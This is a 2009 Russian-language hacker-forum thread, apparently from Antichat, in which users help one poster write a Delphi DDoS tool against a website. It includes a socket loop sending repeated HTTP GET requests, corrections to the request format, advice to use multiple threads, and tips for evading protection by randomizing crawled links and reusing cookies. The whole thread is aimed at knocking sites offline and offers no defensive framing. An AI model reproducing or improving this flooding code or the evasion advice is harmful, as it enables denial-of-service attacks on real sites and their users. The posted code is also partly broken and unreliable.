Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Реализация DDOS На Delphi (https://forum.antichat.xyz/showthread.php?t=101997)

-Hormold- 19.01.2009 02:30

Реализация DDOS На Delphi
 
Как лучше реализовать DDoS атаку на сайта(:80)?
Вот так:
Код:

for i := 0 to 100 do
  begin
  idHttp2.Get(host)
end;

Или через сокеты?
Подскажите как будет эффективнее и быстрее!

P.S. На ачате нашёл примеры, но не быстро работает....

herfleisch 19.01.2009 02:35

Если уж ты и решил атаковать так, то сокеты работают быстрее. И делай тогда несколько потоков.

cylaaaan 19.01.2009 02:35

лол... get будет выполнятся последовательно.

сделай массив потоков и потом запускай фором потоки, чтоб одновременно запустились

-Hormold- 19.01.2009 03:06

Это я понял, только как вот сделать что бы он не дожидался ответа сервера, а опять отправлял пакет.

herfleisch 19.01.2009 03:10

Через сокеты

-Hormold- 19.01.2009 03:20

Код:

adr.sin_addr.s_addr :=inet_addr(pchar(host));
adr.sin_family :=AF_INET;
adr.sin_port :=htons(80);
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if Sock    =-1 then Exit;
connect(sock,adr,sizeof(adr));
for iss := 0 to 100 do begin
req:='GET / HTTP/1.0'#13#10+
'User-Agent: Mozillo'#13#10+
'Connection: keep-alive'#13#10+
'Host: '+Label4.Caption+#13#10+
'Pragma: no-cache'#13#10;
i:= send(Sock,pointer(req)^,length(req),0);
end;
closesocket(Sock);

Как заставить работать нормально?
В ответ идёт один ответ "400 Bad Request"
Если добавить в "Pragma: no-cache'#13#10" еще #13#10, то сервер даёт только один ответ. остальное просто игнорируется.

LEE_ROY 19.01.2009 03:20

пиши через винсок, какие бля компоненты для ддоса ппц, помести еще на форму комп. WEbBrowser1 и эмулируй нажатие F5 для апдейта страницы!!!1

AkyHa_MaTaTa 19.01.2009 04:52

Ну ясно понятно что 400 Bad Request, ты не отделяешь head HTTP запроса от самого тела сообщения(даже если его нету) - пустой строкой, содержащей только символы CR LF и указывающей на конец заголовков, в последнем из HTTP полей заголовка
'Pragma: no-cache'#13#10;, попробуй так

Цитата:

req:=AnsiString ='GET / HTTP/1.0'+#0$D#0$A+
'User-Agent: Mozillo' +#0$D#0$A+
'Host: '+Label4.Caption+#0$D#0$A+
'Pragma: no-cache'+ #0$D#0$A+
'Connection: close'+ #0$D#0$A+#0$D#0$A;
и если тебе надо что бы все работало побыстрее конечно Connection в close.

slesh 19.01.2009 10:31

Хотя это мало что даст. Крупные вещи незадосишь просто так. Там где стоит защита.
Лучше грузить первую страницу, парсить её, получать список линков внутри сайта. И уже рандомом выбирать их этого списка и досить. Тогда меньше вероятность срабатывания защиты. Также бывает защита на уровне куков, так что нужно сделать первый запрос, получить куки, а потом уже досить с использованием этих куков.

-Hormold- 19.01.2009 11:04

CR LF на delphi - #13#10 - твой вариант всё равно не работает =\


Время: 09:30